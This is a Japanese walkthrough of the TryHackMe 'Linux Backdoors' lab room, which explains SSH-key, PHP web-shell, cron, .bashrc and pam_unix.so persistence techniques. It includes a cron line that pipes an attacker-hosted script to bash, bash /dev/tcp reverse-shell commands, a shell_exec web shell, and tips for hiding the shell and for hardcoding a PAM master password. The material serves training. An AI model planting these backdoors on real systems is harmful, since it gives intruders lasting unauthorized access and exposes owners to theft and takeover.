Linux Backdoors

Linuxマシンにバックドアを仕込む方法の概要についてのルームです。

Linux Backdoors
https://tryhackme.com/room/linuxbackdoors

Task1 Introduction

Linux環境における一般的な「バックドア(Backdoor)」技術を学ぶための導入です。バックドアとは、対象のターゲットマシンへの継続的なアクセスを確保するための仕組みを指します。これにより、マシンが再起動やシャットダウンされた場合でも、攻撃者は再びアクセス権を維持することが可能になります。

これらはシステム自体の「脆弱性」ではなく、侵入後のアクセスを維持(持続化)するための手法(永続化メカニズム)です。

Question

No answer needed

Task2 SSH Backdoors

最も基本的な持続化手法の一つである「SSHバックドア」についてです。これはターゲットのホームディレクトリ(最高権限を持つrootユーザーが一般的)に、自身のSSH公開鍵を配置することで継続的なアクセスを確保する手法です。

手順として、まず攻撃側のマシンでssh-keygenコマンドを実行し、秘密鍵と公開鍵のペアを生成します。次に、ターゲットマシンの/root/.sshディレクトリ(存在しない場合はmkdirで作成)に公開鍵を配置し、ファイル名をauthorized_keysに変更します。

遠隔からログインする際は、安全性の警告による接続拒否を防ぐため、事前に秘密鍵の権限をchmod 600 id_rsaで適切に設定する必要があります。設定後、ssh -i id_rsa root@<IPアドレス>を実行することで、パスワードなしでroot宛にSSHログインが可能となります。

注意点として、この手法は全く隠蔽されておらず、適切な権限を持つ管理者であればauthorized_keysファイルや公開鍵を容易に発見・削除できるため、検知されやすいという特徴があります。

Question

In what directory do we place our keys ?
鍵はどのディレクトリに配置すればよいですか?

Answer

What flag in ssh do we use to show our private key?
SSHで秘密鍵を表示するには、どのオプションを使えばいいですか?

Answer

Task3 PHP Backdoors

Webサーバーの仕組みを悪用した「PHPバックドア(Webシェル)」があります。Linuxホストのroot権限を奪取した際、攻撃者は認証情報などを求めてWeb公開ディレクトリ(通常は/var/www/html)を調査することが多く、ここに配置したファイルはブラウザ経由で誰でもアクセス可能になります。

具体的な手法として、任意のPHPファイル(例:shell.php)を作成し、受け取った引数をシステムコマンドとして実行するコード(shell_exec($_REQUEST[‘cmd’]))を記述します。このコードは$_REQUESTを使用しているため、HTTPのGETおよびPOSTのどちらのリクエストからでもコマンドを受け付けることができます。設置後は、ブラウザからhttp://<IPアドレス>/shell.php?cmd=<コマンド>のようにアクセスすることで、遠隔から任意のコマンドを実行可能になります。

このバックドアを隠蔽するための工夫として、以下の2点が挙げられます。

  • 既存の正常なPHPファイルの内部(特に中ほど)にこのコードを埋め込む。
  • 攻撃者に広く知られている一般的なパラメータ名「cmd」を、推測されにくい独自の名称に変更する。

Question

You understand what a PHP Backdoor is 
PHPのバックドアとは何か、ご存じですね 

No answer needed

Task4 CronJob Backdoors

定期実行システムを悪用した「Cronjob(クロンジョブ)バックドア」があります。Linuxには、指定した日時にタスクを自動実行する仕組みがあり、設定は/etc/crontabファイル(テキスト内では/etc/cronjobと表記)に保存されています。root権限を持つ攻撃者は、このファイルに不正なタスクを書き込むことで、定期的に自動実行させることができます。

具体的な手法として、すべてのスケジュール項目(分、時、日など)に「*」を指定し、毎分実行されるタスクを設定します。実行するコマンドとして curl http://<攻撃者IP>:8080/shell | bash を登録し、攻撃者のWebサーバーからリバースシェル用のスクリプト(bash -i >& /dev/tcp/<IP>/<ポート> 0>&1)をダウンロードさせて直接実行(パイプ)させます。

攻撃側は、事前にPythonで簡易Webサーバー(python3 -m http.server 8080)を立ち上げてスクリプトを公開し、同時にNetcat(nc -nvlp <ポート>)で接続を待ち受けます。これにより、毎分自動でリバースシェルが確立されます。

注意点として、この手法も隠蔽性は低く、管理者が/etc/crontabを確認すれば容易に発見されてしまいます。

Question

What does the letter “m” mean in cronjobs?
cronジョブにおける「m」という文字は何を意味するのでしょうか?

Answer

What does the letter “h” mean in cronjobs?
cronジョブにおける「h」という文字は何を意味するのでしょうか?

Answer

Task5 .bashrc Backdoors

ユーザー環境の初期化ファイルを悪用した「.bashrcバックドア」についてです。LinuxにおいてログインシェルとしてBashを使用しているユーザーが、対話型セッション(ターミナル起動やSSHログインなど)を開始すると、そのユーザーのホームディレクトリにある.bashrcファイルが自動的に実行される仕組みを悪用します。

システムに頻繁にログインする標的ユーザーがいる場合、攻撃者は以下のコマンドを実行し、ユーザーの.bashrcファイルの末尾にリバースシェルのコードを追加します。

echo ‘bash -i >& /dev/tcp/ip/port 0>&1’ >> ~/.bashrc

この手法の最大の利点は、一般のユーザーや管理者が自身の.bashrcファイルの中身を日常的にチェックすることは滅多にないため、非常に隠蔽性が高く「卑劣(sneaky)」である点です。

注意点として、ユーザーがいつログインするか予測できないため、攻撃側は常にNetcatなどのリスナー(nc)を起動して待ち受けておく必要があります。また、ユーザーが長期間ログインしない場合は、アクセス権を得るまでに非常に長い時間を待たされる可能性があるというデメリットも挙げられています。

Question

You understand what is the “.bashrc” backdoor technique!
「.bashrc」バックドアの手口がわかったね!

Answer
No answer needed

Task6 pam_unix.so Backdoors

認証モジュールを直接改ざんする方法が「pam_unix.soバックドア」です。Linuxの認証システム(PAM)を構成するコンポーネントの一つであるpam_unix.soは、ユーザーが入力したパスワードの検証を担っています。

具体的な手法として、このモジュールのソースコード内にあるパスワード検証関数unix_verify_passwordを改ざんし、攻撃者が設定した特定のパスワード(例:「0xMitsurugi」)をハードコードします。

文字列比較関数strcmpを用いて、入力されたパスワード(変数p)と「0xMitsurugi」を比較する条件式を追加します。

一致した場合: 正当なユーザーでなくても、即座に認証成功(PAM_SUCCESS;)を返します。

一致しない場合: 本来の検証処理へ進み、通常通り/etc/shadowのハッシュ値と照合します。

これにより、一般ユーザーは通常通り自分のパスワードでログインできる一方で、攻撃者は自分が仕込んだ「秘密のパスワード」を使うことで、どのユーザー(rootを含む)としてでも常にシステムへログインできるようになります。

このバックドアの最大の強みは、一般の管理者がコンパイル済みのバイナリファイルである.soファイルの中身をチェックすることは滅多にないため、極めて発見が困難(隠蔽性が高い)な点です。ただし、この手法の知名度が高まるにつれて対策も進んでおり、毎回必ず成功するわけではありません。

Question

I understand the art of linux backdoors!
Linuxのバックドアの仕組みは理解しています!

Answer
No answer needed


Finish The Room!
ルームを完成させよう!

Answer
No answer needed